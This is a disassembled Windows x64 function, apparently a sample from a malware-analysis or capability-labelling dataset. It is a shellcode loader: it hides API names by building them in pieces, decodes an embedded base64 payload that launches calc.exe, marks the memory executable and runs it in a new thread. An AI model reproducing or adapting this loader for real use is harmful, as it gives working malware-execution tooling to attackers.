Function at 0x140001230
Capabilities:
Create thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x50], rax
xor edx, edx
mov dword [rsp + 0x6c], edx
mov dword [rsp + 0x68], 0x171
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov ecx, 0xf
mov qword [rbp + 0x48], rcx
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp + 8], rcx
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x78], rcx
mov byte [rsp + 0x70], dl
movups xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x140003460]
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x30], dl
mov r14d, 1
mov qword [rbp + 0x40], r14
mov word [rbp + 0x30], 0x56
mov qword [rbp], r14
mov word [rbp - 0x10], 0x69
mov qword [rbp - 0x80], 0xc
movsd xmm0, qword [str.rtualProtect]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x1400033b8]
mov dword [rsp + 0x78], eax
mov byte [rsp + 0x7c], dl
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x28], rcx
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x58], rcx
mov byte [rbp - 0x70], dl
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
mov byte [rbp - 0x50], dl
mov qword [rbp + 0x20], r14
mov word [rbp + 0x10], 0x6b
mov r8d, 0xb
mov qword [rbp - 0x60], r8
movsd xmm0, qword [str.ernel32.dll]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x1400033c8]
mov word [rbp - 0x68], ax
movzx eax, byte [0x1400033ca]
mov byte [rbp - 0x66], al
mov byte [rbp - 0x65], dl
movabs r13, 0x7fffffffffffffff
lea rdx, [rbp + 0x10]
lea r12, [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rsi, [r14 + r8]
mov ebx, ecx
lea rdi, [rsp + 0x40]
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rcx
mov r8d, r14d
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + r14]
lea r8d, [rbx - 4]
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, rbx
jbe 0x1400013d5
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bdc
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x40], xmm1
mov rsi, qword [rbp + 0x40]
mov r12, qword [rbp]
sub r13, rsi
cmp r13, r12
jb 0x140001966
lea r13, [rbp + 0x30]
cmp qword [rbp + 0x48], rbx
cmova r13, qword [rbp + 0x30]
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], rbx
cmova rax, qword [rbp - 0x10]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r15, [rsi + r12]
lea rdi, [rsp + 0x40]
cmp r15, rbx
jbe 0x1400014c2
mov rbx, r15
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140001483
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001ba0
test rax, rax
je 0x1400015f1
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400014bd
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400014ac
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000196c
jmp 0x140001464
test rcx, rcx
je 0x1400014bb
call fcn.140001ba0
mov rdi, rax
jmp 0x1400014bd
xor edi, edi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rbx
mov r8, rsi
mov rdx, r13
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + rsi]
mov r8, r12
mov rdx, qword [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r15], 0
lea r9, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova r9, qword [rsp + 0x70]
mov rdi, qword [rbp - 0x80]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000154d
lea rax, [rdi + rcx]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
lea rax, [rsp + 0x40]
jmp 0x14000155f
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.1400019e0
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1400015b5
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bdc
movups xmmword [rbp - 0x30], xmm6
movups xmmword [rbp - 0x20], xmm7
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400015fd
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bdc
mov edx, 0x171
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140001635
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VirtualAlloc_failed_with_error:__d_n
call fcn.140001010
jmp 0x140001716
lea rcx, str.Press_Any_Key_n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rdx, str._EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI_8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIgwgQVL_4FhBWVpIixLpV____11IugEAAAAAAAAASI2NAQEAAEG6MYtvh__Vu_C1olZBuqaVvZ3_1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v_VY2FsYy5leGUA
lea rcx, str.Original_string:__s_n
call fcn.140001010
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, rdi
mov r8d, r14d
mov edx, 0x171
lea rcx, str._EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI_8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIgwgQVL_4FhBWVpIixLpV____11IugEAAAAAAAAASI2NAQEAAEG6MYtvh__Vu_C1olZBuqaVvZ3_1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v_VY2FsYy5leGUA
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov edx, dword [rsp + 0x68]
lea rcx, str.Decoded_payload_length:__lu_n
call fcn.140001010
mov rdx, rdi
lea rcx, str.Decoded_payload:__s_n
call fcn.140001010
lea rbx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rbx, qword [rbp - 0x30]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x6c]
mov edx, 0x171
mov r8d, 0x20
mov rcx, rdi
call rax
test eax, eax
je 0x140001713
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r14d, esi
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140001754
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000174f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000174f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bdc
movdqa xmm0, xmmword [0x140003460]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400017a3
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000179e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000179e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bdc
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x1400017f1
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bdc
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000183f
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000183a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000183a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bdc
movdqa xmm0, xmmword [0x140003460]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000188f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000188a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000188a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bdc
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400018de
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bdc
mov qword [rbp], rsi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000192c
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001927
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001927
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001bdc
mov eax, r14d
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140001b80
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001210
nop
call fcn.140001170
int3